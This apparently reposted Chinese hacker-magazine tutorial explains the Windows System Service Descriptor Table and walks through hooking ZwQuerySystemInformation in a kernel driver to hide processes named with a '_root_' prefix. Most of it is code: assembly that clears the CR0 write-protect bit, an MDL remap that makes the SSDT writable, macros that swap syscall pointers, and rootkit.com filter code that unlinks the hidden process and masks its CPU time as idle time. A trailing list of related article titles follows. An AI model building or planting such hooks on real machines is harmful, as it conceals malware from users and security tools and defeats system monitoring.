挂钩SSDT隐藏进程
来源:互联网 发布:企业工商数据精准查询 编辑:程序博客网 时间:2024/06/11 01:12
(本文发表于黑访11期上,请勿转载)
新学期又开始了,一来到学校我口袋的资金剧烈减少,我估计因该和现在轻微的通货膨胀有关(其实是我开学乱花钱花的),没有办法只好也来黑防算是“骗”点钱花了。嘿嘿。
最近大家对于ring0级的研究正如当年的注入一样越来越火,认识的朋友似乎张口闭口都是内核,看来这有可能是以后的趋势了,在下不才在此献上一篇文章,算是抛砖引玉。希望以后有更好的文章发表出来。^_^
我想大家都用过冰刃吧,因该对SSDT记忆犹新,但什么是SSDT,他是做什么的呢?
SSDT的全称是System Services Descriptor Table,系统服务描述符表。这个表的作用就是把ring3的Win32 API和ring0的内核API联系起来。
他通过对系统调用进行索引,然后定位函数的内存地址。当应用程序采用子系统调用系统服务时,他会调用到Ntdll.dll中,后者向EAX中加载所请求的系统服务标识符编号或系统函数编号,然后向EDX中加载用户模式中函数的参数地址,系统服务调度程序对参数数目进行验证,将他们从用户堆栈复制入内核堆栈,然后调用在SSDT中储存于EAX中的服务标识符编号的索引地址处的函数。
举个例子当我们要调用OpenProcess 函数时。函数进入内核的过程如下:
当程序的处理流程进入ring0之后,系统会根据服务标识符编号(eax)在SSDT这个系统服务描述符表中查找对应的表项,这个找到的表项就是系统服务函数NtOpenProcess的真正地址。之后,系统会根据这个地址调用相应的系统服务函数,并把结果返回给ntdll.dll中的NtOpenProcess。图中的“SSDT”所示即为系统服务描述符表的各个表项;右侧的“ntoskrnl.exe”则为Windows系统内核服务进程(ntoskrnl即为NT OS KerneL的缩写),它提供了相对应的各个系统服务函数。ntoskrnl.exe这个文件位于Windows的system32目录下
这里说明一点,SSDT中的各个表项不会全部指向ntoskrnl.exe中的服务函数,因为你机器上的杀毒监控或其它驱动程序可能会改写SSDT中的某些表项。已到达他们的目的。
我们还要明确一个概念,就是KeServiceDescriptorTable,它是内核导出的表,该表拥有一个指针,指向SSDT中包含由ntoskrnl.exe实现核心系统服务的相应部分,我们可以把它理解成SSDT在内核中的数据实体。
SSDT的数据结构定义如下:
typedef struct _tagSSDT {
PVOID pvSSDTBase;
PVOID pvServiceCounterTable;
ULONG ulNumberOfServices;
PVOID pvParamTableBase;
} SSDT, *PSSDT;
有了以上知识后我们就可以钩住SSDT来完成我们希望实现的功能,这里介绍一种隐藏进程的方法。但有一个问题出现了,我们要修改SSDT表,首先这个表必须是可写的,但在xp以后的系统中他都是只读的,我总结了三个办法来修改内存保护机制。这对以后的编程是很有用处的
1,更改注册表(要从起)
HKLM/SYSTEM/CurrentControlset/Control/Session Manger/
Memory Management/EnforceWriteProtection=0
与
HKLM/SYSTEM/CurrentControlset/Control/Session Manger/
Memory Management/DisablePagingExecutive=1
(这个方法我没有试验成功)这里只是列出作为一种方法
2,修改控制寄存器CR0
将wp位设置为0
__asm
{
push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
}
如果恢复可以
__asm
{
push eax
move eax,CR0
or eax, NOT 0FFFEFFFFh
mov CR0,eax
pop eax
}
这个方法希望以后再编程的时候尽量少用点,因为它常常会带来一些问题。
3.利用内存描述符表,描述一块可写内存,本人强烈推荐此办法,有什么好处,你会在编程中体会到的。
以下是MDL在ntddk.h的定义
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
MDL包含了该内存区域的起始地址,拥有者进程,字节数量以及标志;
这里以修改SSDT为例,以下代码先声明一个结构,该结构用了转换由内核导出的KeServiceDescriptorTable变量的类型。调用MmCreateMdl时要KeServiceDescriptorTable的基地址和他包含的项数,从中我们得到MDL所描述的内存区域与大小。然后从不分页内存中创建MDL.我们将MDL标志与MDL_MAPPED_TO_SYSTEM_VA进行或操作,以便允许写入一块内存区域。然后就可以调用MmMapLockedPage来锁定内存中的MDL页。
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase; //keServiceDescriptorTable的基地址
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices; //包含的项数
unsigned char *ParamTableBase;
}SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool (g_pmdlSystemCall);
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
好了我们现在可以试着隐藏进程了,Taskmgr.exe是通过ZwQuerySystemInformation函数获取系统上的进程列表,如果要获得进程列表那么,SystemInformationClass要设置为5 。
ZwQuerySystemInformation函数结构如下:
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //如果这值是5,则代表系统中所有进程信息
IN PVOID SystemInformation, //这就是最终列举出的信息,和上面的值有关
IN ULONG SystemInformationLength, //后两个不重要
OUT PULONG ReturnLength)
在Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。
好了,有了以上准备工作我们可以钩住SSDT表了,为了方便这里给出了四个宏定义
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
有点乱了吧:我来总结一下
如果要隐藏进程我们可以
首先:突破SSDT的内存保护,如上所用的MDL方法
然后:实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
最后:用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
这里我们要首先声明进程和线程结构:
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
下面给出一个完整的代码,它的出自于rootkit.com,我这里只详细讲解以下链表的操作,完整的代码附在文后:
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
//保存时间
m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) //数据项在链表的中间或者最后
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
//如果在中间我们删除_root_这一项
else // we are last, so make prev the end
prev->NextEntryDelta = 0; //如果_root_在最后一项清0
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
//把下一下项做为头结点
}
else // 唯一的进程
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把保存的_root_进程的时间加给Idle进程,Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间,为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr; //把curr传给prev
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
// curr向后移动结点
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
完整的代码请看我随文的文件。
到此我们就安装了SSDT钩子隐藏了进程。
希望看完这篇文章后能对你有所帮助,现在对内核研究的人越来越多,希望你们也加入这些人当中来,发掘出更多的东西来。
- 挂钩SSDT隐藏进程
- 挂钩SSDT
- 驱动层SSDT 隐藏进程
- 挂钩shadow SSDT
- SSDT HOOK驱动开发(1):进程隐藏
- SSDT HOOK驱动开发(1):进程隐藏
- 新版XP下Hook SSDT隐藏进程
- 挂钩SSDT详解附源代码
- 【翻译】系统范围内挂钩Native API控制进程创建(SSDT HOOK)
- 进程隐藏与进程保护(SSDT Hook 实现)
- 进程隐藏与进程保护(SSDT HOOK 实现)
- 进程隐藏与进程保护(SSDT Hook 实现)
- 进程隐藏与进程保护(SSDT Hook 实现)
- 驱动入门——Hook SSDT 隐藏进程
- 通过Hook SSDT (System Service Dispath Table) 隐藏进程
- 修改SSDT来挂钩API的代码
- 绕过安全软件挂钩SSDT的检测
- 绕过安全软件挂钩SSDT的检测
- 以特定字符分割得到数组
- 政治局委员将由十七届一中全会选举产生
- 美国人的10个文化偶像
- C学习之------C函数指针
- Asp.net把UTF-8编码转换为GB2312编码(转)
- 挂钩SSDT隐藏进程
- 开发注释规范
- 如何查询同一字段所在的所有表
- 模糊查询SQL语句
- ASP生成RSS
- 把窗体嵌入到容器中
- C# params object[] args 可以传多个参数,可以不限制类型
- 用openssl编写SSL,TLS程序
- .net内常用的几种文件类型